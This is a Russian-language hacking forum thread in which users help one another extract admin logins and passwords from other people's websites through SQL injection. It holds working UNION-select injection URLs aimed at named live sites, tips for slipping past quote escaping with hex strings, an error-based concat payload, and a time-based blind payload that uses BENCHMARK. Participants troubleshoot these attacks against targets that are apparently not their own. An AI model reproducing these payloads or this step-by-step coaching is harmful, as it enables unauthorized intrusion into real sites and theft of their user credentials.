Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    1. Хранится может в другой БД
    2. Стоит Basic авторизация
    3. Логин/пароль хранятся в переменных
     
  2. billybonse

    billybonse Member

    Joined:
    9 Oct 2011
    Messages:
    55
    Likes Received:
    7
    Reputations:
    1
    И как его достать, если пароль в переменных или в другой БД?
     
  3. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    Пароли никому и ничего не должны. Как уже сказано, вариантов тут масса. Храниение паролей в таблице вроде "users" - просто общепринятый вариант.

    Для начала найдите админку. Ее может и не быть вообще. Пароли могут быть жестко вписаны в исходник или может стоять basic-авторизация. В таком случае вам нужно смотреть в сторону вектора с доступом к файлам.
     
  4. billybonse

    billybonse Member

    Joined:
    9 Oct 2011
    Messages:
    55
    Likes Received:
    7
    Reputations:
    1
    madhatter, спасибо за ответ.
    И еще вопрос.
    Нашел уязвимость, таблица phpbb_acl_users, колонка user_id
    Пишу http://www.site.com/pages.php?id=-10%20union%20select%201,user_id,3,4,5,6,7,8,9,10%20from%20phpbb_acl_users%20limit%200,1--
    Выдает ошибку Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/mamacass/public_html/pages.php on line 12
    Что я делаю не так?
     
  5. TankreD

    TankreD New Member

    Joined:
    15 Jul 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Могу ошибаться, но комментарий в MySQL должен быть пробел два дефиса пробел и что-то еще.
     
  6. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Ошибаешься
     
    _________________________
  7. TankreD

    TankreD New Member

    Joined:
    15 Jul 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Проверил. Нет, не ошибаюсь.
     
  8. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Перед однострочным комментарием должен быть.
    Так же есть многострочные комментарии.
    Можно обойтись и без комментариев.
     
    _________________________
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Ни до, ни после однострочного комментария наличие пробела не обязательно.

    kingbeef, Лучше не отвечайте, когда не знаете правильного ответа на вопрос.


    billybonse, А после чего появилась такая ошибка? Что получается выводить, а что нет?

    billybonse, Название БД хранится в поле TABLE_SCHEMA соответствующих таблиц.
    https://rdot.org/forum/showpost.php?p=35143&postcount=40
    https://rdot.org/forum/showthread.php?t=3167
     
    #23409 randman, 23 Jul 2014
    Last edited: 23 Jul 2014
  10. Evil_Genius

    Evil_Genius Member

    Joined:
    3 Aug 2009
    Messages:
    519
    Likes Received:
    15
    Reputations:
    -4
    Добрый день! Есть сайт MySQL error based
    Смотрите, при таком запросе, нормально выдает id юзера

    Точно такой же запрос, для получения логина
    На что выдает ошибку Subquery returns more than 1 row

    Подскажите пожалуйста как правильно составить запрос для того чтобы вывести логин юзера
     
  11. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Если имеется ввиду "--" как однострочный коммент, то в MySQL для корректной обработки запроса использование пробела в конце обязательно. Подробнее тут.

    Code:
    mysql> select 1-- this is a comment
        -> ;
    +---+
    | 1 |
    +---+
    | 1 |
    +---+
    1 row in set (0.00 sec)
    
    mysql> select 1--this is a comment
        -> ;
    ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a comment' at line 1
    
    mysql> select 1--1
        -> ;
    +------+
    | 1--1 |
    +------+
    |    2 |
    +------+
    1 row in set (0.00 sec)
    
     
    #23411 mailbrush, 23 Jul 2014
    Last edited: 23 Jul 2014
  12. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    Evil_Genius, а вы в mid оберните concat в подзапросе:
    mid(concat(0x27,0x7e,user.login,0x27,0x7e),1,100)
     
    #23412 Inoms, 24 Jul 2014
    Last edited: 24 Jul 2014
    2 people like this.
  13. billybonse

    billybonse Member

    Joined:
    9 Oct 2011
    Messages:
    55
    Likes Received:
    7
    Reputations:
    1
    Таблицы и колонки вывел нормально, а когда сформировал запрос, дал ошибку. Хоть убейте, не могу понять с чем это связано. На mod_security вроде не похоже.
     
  14. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101

    mailbrush, Вам тоже лучше не отвечать, когда не знаете правильного ответа на вопрос. Всем лучше не отвечать, и тем более не спорить.


    После -- по документации обязательно наличие пробельного символа, но не пробела. Кроме того, "--" может работать и без него:
    Code:
    SELECT * FROM information_schema.tables WHERE uid=1--/**/and id=3;
    
    Запутался, а на какие ваши вопросы ещё нужны ответы и к какому относится этот ответ?

    То, что таблицы не существует возможно связано с тем, что имя БД берут из TABLE_SCHEMA, а не database().
     
    #23414 randman, 24 Jul 2014
    Last edited: 24 Jul 2014
    1 person likes this.
  15. billybonse

    billybonse Member

    Joined:
    9 Oct 2011
    Messages:
    55
    Likes Received:
    7
    Reputations:
    1
    ok, такой вопрос
    опять нашел иньекцию, раскручиваю http://www.site.com/gallery.php?id=-3+union+select+1,table_name,3,4%20from%20information_schema.tables%20limit%2040,1%20--

    Выдает users

    Дальше пишу
    http://www.site.com/gallery.php?id=-3+union+select+1,column_name,3,4%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1%20--

    Пишет Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/host1222787/xn----itbkhedijai2ag0kya.xn--p1ai/htdocs/www/cgi-bin/gallery.php on line 14

    В чем моя ошибка?
     
  16. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    billybonse, Кавычки экранируются, нельзя их использовать стандартным способом в запросе. Если необходимо использовать строку, то используйте HEX (0x...).

    При раскрутке обращайте внимание на строку ошибки, возможно запросов несколько.
     
    #23416 randman, 24 Jul 2014
    Last edited: 24 Jul 2014
  17. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://xn----itbkhedijai2ag0kya.xn--p1ai/gallery.php?id=-3+union+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()--
    Тут нет таблицы users.
    В соседней базе есть, но она пуста.
     
  18. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    562
    Likes Received:
    50
    Reputations:
    54
    Прежде всего, с ходу внесу лепту в старую как мир тему с пробелами посте однострочный mysql-style комментариев. Я, может, и не тяну на уровень гроссмейстеров кавычки с красноточек, но кусок документации об этом уже привели (более того, примерно в этой же теме десятками страниц назад я его уже приводил).

    В переводе на простой и всем понятный русский, после mysql-style комментария в виде двух минусов(тире\дефисов?) должен стоять пробельный символ, которым может быть перенос строки, конец строки и вообще вся веселая группа пробельных ascii-символов. Как минимум, это то, что говорит документация, и то, что подтверждается практикой на нескольких mysql-серверах пятой ветки.

    Непосредственно же при инъекции пробел ставить иногда не обязательно тупо потому, что необходимый символ уже вставляется в запрос.

    Касательно же пустого многострочного комментария - он заменяется на один пробел, что также может использоваться как замена пробелам.
    Таблица, вероятно, из другой базы, ваш же первый запрос выводит только имена.

    Как ни странно, подзапрос возвращает больше одного ряда. Используйте однозначные запросы, лимиты по возможности или concat для объединения.

    Запрос завернулся в false - ошибка при выполнении.
     
  19. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    916
    Likes Received:
    120
    Reputations:
    25
    http://www.grc.tomsk.ru/
    уязвимость в post параметре vote[2][]=6
    time based, дальше определения имени базы "u87_sql1" неичего не получается, помогите разобраться
     
  20. er9j6@

    er9j6@ Elder - Старейшина

    Joined:
    17 Sep 2011
    Messages:
    393
    Likes Received:
    40
    Reputations:
    23
    Запрос имеет вид, дальше не крутил

    6' and if(ascii(substring((database()),5,1))<115,BENCHMARK(829806,MD5(0x41)),0) and 'x'='x
     
Thread Status:
Not open for further replies.